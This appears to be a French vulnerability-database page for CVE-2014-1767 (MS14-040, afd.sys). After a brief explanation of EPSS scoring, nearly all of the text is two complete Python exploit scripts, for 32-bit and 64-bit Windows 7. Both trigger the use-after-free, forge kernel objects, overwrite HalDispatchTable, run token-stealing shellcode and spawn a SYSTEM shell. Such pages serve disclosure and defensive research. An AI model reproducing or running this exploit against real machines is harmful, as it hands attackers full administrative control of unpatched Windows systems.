CVE-2014-1767 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer # Date: 2016-02-05 # Exploit Author: Rick Larabee # Vendor Homepage: www.microsoft.com # Version: Windows 7, 32 bit # Tested on: Win7 x32 # afd.sys - 6.1.7600.16385 # ntdll.dll - 6.1.7600.16385 # # CVE : CVE-2014-1767 # Category: Local Privilege Escalation # References: # http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf # http://ricklarabee.blogspot.com/ # https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ # https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # http://www.cvedetails.com/cve/CVE-2014-1767/ # # Greetz: PWN4GEPWN1E, SecurityMook from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) FakeObjSize = 0xA0 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 INVALID_HANDLE_VALUE = -1 WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("\x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None def CreateBuffer1(): inbuf1size = 0x30 virtualAddress = 0x18888888 length = 0x20000 inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a inbuf1 += struct.pack("L", length) #0x20 inbuf1 += "\x00" * 0x8 + "\x01" inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) baseadd = c_int(0x1001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written)) def CreateBuffer2(): inbuf2size = 0x10 addrforbuf2 = 0x0AAAAAAA inbuf2 = "\x01\x00\x00\x00" inbuf2 += struct.pack("L", addrforbuf2) inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) baseadd = c_int(0x2001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written)) def CreateFakeObject(): print "[+] Print creating fakeobject" fakeobject2addr = 0x2200 fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C) fakeobj2size = len(fakeobject2) kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x16\x00\x08\x00" "\x00\x00\x00\x00\x00\x00\x00\x00") fakeobject = objhead fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4) fakeobject += "\x41" * (FakeObjSize - len(fakeobject)) kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print "\n[+] GO!" (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("halmacpi.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7 _KPROCESS = "\x50" _TOKEN = "\xf8" _UPID = "\xb4" _APLINKS = "\xb8" print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) IoStatus = c_ulong() IoStatusBlock = c_ulong() CreateBuffer1() CreateBuffer2() CreateFakeObject() inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = HANDLE(0) FakeWorkerFactoryADDR = 0x2100 # Trigger 1 # afd!afdTransmitFile ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0) CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0)) ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0) hWFaddr = hWF print "[+] WorkerFactoryHandle:", hWF.value hWFaddr = int(addressof(hWF)) shellcode_address = 0x00020700 padding = "\x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 _WFValue = struct.pack("L", hWFaddr) sc_pointer = struct.pack("L", shellcode_address+0x4) restore_ptrs = "\x31\xc0" + \ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \ "\xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "\x52" +\ "\x53" +\ "\x33\xc0" +\ "\x64\x8b\x80\x24\x01\x00\x00" +\ "\x8b\x40" + _KPROCESS +\ "\x8b\xc8" +\ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\ "\x89\x1d\x00\x09\x02\x00" +\ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\ "\x75\xe8" +\ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\ "\x8b\xc1" +\ "\x89\x90" + _TOKEN + "\x00\x00\x00" fixobjheaders = "\x33\xC0" +\ "\x64\x8B\x80\x24\x01\x00\x00" +\ "\x8B\x40\x50" +\ "\x8B\x80\xF4\x00\x00\x00" +\ "\x8B\xD8" +\ "\x8B\x00" +\ "\x8B\x0D" + _WFValue +\ "\x83\xE1\xFC" +\ "\x03\xC9" +\ "\x03\xC1" +\ "\xC7\x00\x00\x00\x00\x00" +\ "\x83\xC3\x30" +\ "\x8B\xC3" +\ "\x8B\x1B" +\ "\x83\xEB\x01" +\ "\x89\x18" +\ "\x5B" +\ "\x5A" +\ "\xC2\x10\x00" shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size = len(shellcode) orig_size = shellcode_size startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0) ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ; inp = c_ulong() out = c_ulong() inp = 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\\windows\\system32")

# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer # Date: 2016-03-03 # Exploit Author: Rick Larabee # Vendor Homepage: www.microsoft.com # Version: Windows 7, 64 bit # Tested on: Win7 x64 # afd.sys - 6.1.7601.17514 # ntdll.dll - 6.1.7601.17514 # # CVE : CVE-2014-1767 # Category: Local Privilege Escalation # References: # http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf # http://ricklarabee.blogspot.com/ # https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ # https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # http://www.cvedetails.com/cve/CVE-2014-1767/ # https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/ # # Greetz: PWN4GEPWN1E, SecurityMook from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD import platform kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x40 Zerobits = c_int(0) RegionSize = c_ulonglong(0x1000) written = c_ulonglong(0) FakeObjSize = 0x100 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 INVALID_HANDLE_VALUE = -1 WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int HalDispatchTable = c_uint64 class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)] ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] def find_driver_base(driver=None): #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py if platform.architecture()[0] == '64bit': lpImageBase = (c_ulonglong * 1024)() lpcbNeeded = c_longlong() Psapi.GetDeviceDriverBaseNameA.argtypes = [c_longlong, POINTER(c_char), c_uint32] else: #if process_is_wow64(): # raise RuntimeError('python running in WOW64 is not supported') lpImageBase = (c_ulong * 1024)() lpcbNeeded = c_long() driver_name_size = c_long() driver_name_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), c_int(1024), byref(lpcbNeeded)) for base_addr in lpImageBase: driver_name = c_char_p('\x00' * driver_name_size.value) if base_addr: Psapi.GetDeviceDriverBaseNameA(base_addr, driver_name, driver_name_size.value) if driver == None and driver_name.value.lower().find("krnl") != -1: return (base_addr, driver_name.value) elif driver_name.value.lower() == driver: return (base_addr, driver_name.value) return None def get_haldispatchtable(): #https://github.com/zeroSteiner/mayhem/blob/master/mayhem/exploit/windows.py if platform.architecture()[0] == '64bit': kernel32.LoadLibraryExA.restype = c_uint64 kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] kernel32.GetProcAddress.restype = c_uint64 (krnlbase, kernelver) = find_driver_base() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) halDispatchTable = kernel32.GetProcAddress(hKernel, 'HalDispatchTable') halDispatchTable -= hKernel halDispatchTable += krnlbase return halDispatchTable def CreateBuffer1(inbuf1addr): print "[+] Creating Buffer for IOCTL 0x1207F (afdTransmitFile) at: ", hex(inbuf1addr) inbuf1size = 0x40 targetsize = 0x100 virtualAddress = 0x13371337 mdlsize = (pow(2, 0x0c) * (targetsize -0x30) / 8) - 0xfff - (virtualAddress & 0xfff) inbuf1 = "\x41" * 0x20 inbuf1 += struct.pack("Q", virtualAddress) #0x1a inbuf1 += struct.pack("Q", mdlsize) inbuf1 += "\x42" * 4 inbuf1 += "\x43" * 4 inbuf1 += "\x01\x00\x00\x00" inbuf1 += "\x00\x00\x00\x00" inbuf1 += "\x00" * (inbuf1size - len(inbuf1)) baseadd = c_ulonglong(0x1001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) wpmStatus = kernel32.WriteProcessMemory(-1, inbuf1addr, inbuf1, inbuf1size, byref(written)) def CreateBuffer2(inbuf2addr): print "[+] Creating Buffer for IOCTL 0x120C3 (afdTransmitPacket) at: ", hex(inbuf2addr) inbuf2size = 0x18 addrforbuf2 = 0x0AAAAAAA inbuf2 = struct.pack("Q", 0x1) inbuf2 += struct.pack("Q", addrforbuf2) inbuf2 += "\x00" * (inbuf2size -len(inbuf2)) baseadd = c_ulonglong(inbuf2addr+1) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, inbuf2addr, inbuf2, inbuf2size, byref(written)) def CreateFakeObject(firstWrite,fakeobjectaddr, setinfoworkerfactory): print "[+] Print creating fakeobject at ", hex(fakeobjectaddr) fakeobject2addr = setinfoworkerfactory - 0x18 fakeobject2 = "\x00"*0x18 + struct.pack("Q", firstWrite) fakeobj2size = len(fakeobject2) kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) objhead = ("\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x08\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") fakeobject = objhead fakeobject += struct.pack("Q", fakeobject2addr) + "\x41"*96 fakeobject += "\x42" * (FakeObjSize - len(fakeobject)) kernel32.WriteProcessMemory(-1, fakeobjectaddr, fakeobject, FakeObjSize, byref(written)) def main(): print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print "[+] fill kernel heap" rgnarr = [] nBottomRect = 0x02aaaaaa while(1): hrgn = windll.gdi32.CreateRoundRectRgn(0,0,1,nBottomRect,1,1) if hrgn == 0: break rgnarr.append(hrgn) print ".", print "\n[+] GO!" HalDispatchTable = get_haldispatchtable() print "[+] HalDispatchTable address:", hex(HalDispatchTable) # Win7 - x64 (halbase, dllname) = find_driver_base("hal.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase+0x398e8 # Offset for win7 x64 _KPROCESS = "\x70" _TOKEN = "\x08\x02" _UPID = "\x80\x01" _APLINKS = "\x88\x01" print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) IoStatus = c_ulonglong() IoStatusBlock = c_ulonglong() addrSetInfoWorkerFactory = 0x2218 firstWriteAddr = HalDispatchTable + 0x8 - 0x2C secondWriteAddr = firstWriteAddr + 0x4 thirdWriteAddr = firstWriteAddr + 0x1 shellcode_address = c_ulonglong shellcode_address = 0x0000000000002500 what_address = 0x0000250800002500 what_part1 = what_address & 0xfffffff what_part2 = what_address >> 32 & 0xfffffff inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = c_ulonglong(0) FakeWorkerFactoryADDR = 0x2100 CreateBuffer1(inbuf1) CreateBuffer2(inbuf2) CreateFakeObject(firstWriteAddr, FakeWorkerFactoryADDR, addrSetInfoWorkerFactory) print "" print "" print "[*] Trigger IOCTL 0x1207f (afdTransmitFile) to setup the memory " print "[*] structures for phase 2 and fil the freed space with a " print "[*] WorkerFactory Object" raw_input("[+] Press Enter to trigger phase 1") ntdll.ZwDeviceIoControlFile.argtypes = [c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong] status = ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x1207f, inbuf1, 0x40, 0x0, 0x0) kernel32.CreateIoCompletionPort.argtypes = [c_ulonglong,c_ulonglong,c_ulonglong,c_ulonglong] CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0, 0, 0)) ntdll.ZwCreateWorkerFactory.argtypes = [POINTER(c_ulonglong), c_ulonglong, c_ulonglong, c_void_p, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong, c_ulonglong] ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,0,CompletionPort,INVALID_HANDLE_VALUE,0,0,0,0,0) hWFaddr = hWF padding = "\x90"*8 HalDispatchTable0x8 = HalDispatchTable + 0x8 sc_pointer = struct.pack("Q", shellcode_address+0x10) sc_pointer += struct.pack("Q", 0x25) restore_ptrs = "\x41\x51" +\ "\x41\x52" +\ "\x41\x53" +\ "\x49\xb9" + struct.pack("Q", HaliQuerySystemInformation) +\ "\x49\xba" + struct.pack("Q", HalDispatchTable0x8) +\ "\x4d\x89\x0a" tokenstealing = "\x65\x4C\x8B\x0C\x25\x88\x01\x00\x00" +\ "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\ "\x4D\x89\xCA" +\ "\x4D\x8B\x89" + _APLINKS + "\x00\x00" +\ "\x49\x81\xE9" + _APLINKS + "\x00\x00" +\ "\x49\x83\xB9" + _UPID + "\x00\x00\x04" +\ "\x75\xe8" +\ "\x4D\x8B\x89" + _TOKEN + "\x00\x00" +\ "\x4D\x89\x8A" + _TOKEN + "\x00\x00" fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" +\ "\x4d\x89\xd1" +\ "\x4d\x8b\x12" +\ "\x41\xbb" + struct.pack("L", hWF.value)+\ "\x41\x83\xe3\xfc" +\ "\x4d\x01\xdb" +\ "\x4d\x01\xdb" +\ "\x4d\x01\xda" +\ "\x49\xc7\x02\x00\x00\x00\x00" +\ "\x49\x83\xc1\x58" +\ "\x4d\x89\xca" +\ "\x4d\x8b\x09" +\ "\x49\x83\xe9\x01" +\ "\x4d\x89\x0a" +\ "\x41\x5b" +\ "\x41\x5A" +\ "\x41\x59" +\ "\xc3" shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size = len(shellcode) print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the" print "[*] WorkerFactory object created above and fill the freed object" print "[*] with a user controlled object to perform the necessary overwrites" raw_input("[+] Press Enter to trigger phase 2") ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock,0x0,0x0,0x0,byref(IoStatusBlock),0x120c3, inbuf2, 0x18, 0x0, 0x0) ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written)) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written)) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) ; inp = c_long() out = c_long() inp = 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\\windows\\system32") if __name__ == "__main__": if platform.architecture()[0] == '64bit': main() else: print "Please use a 64 bit version of python" sys.exit()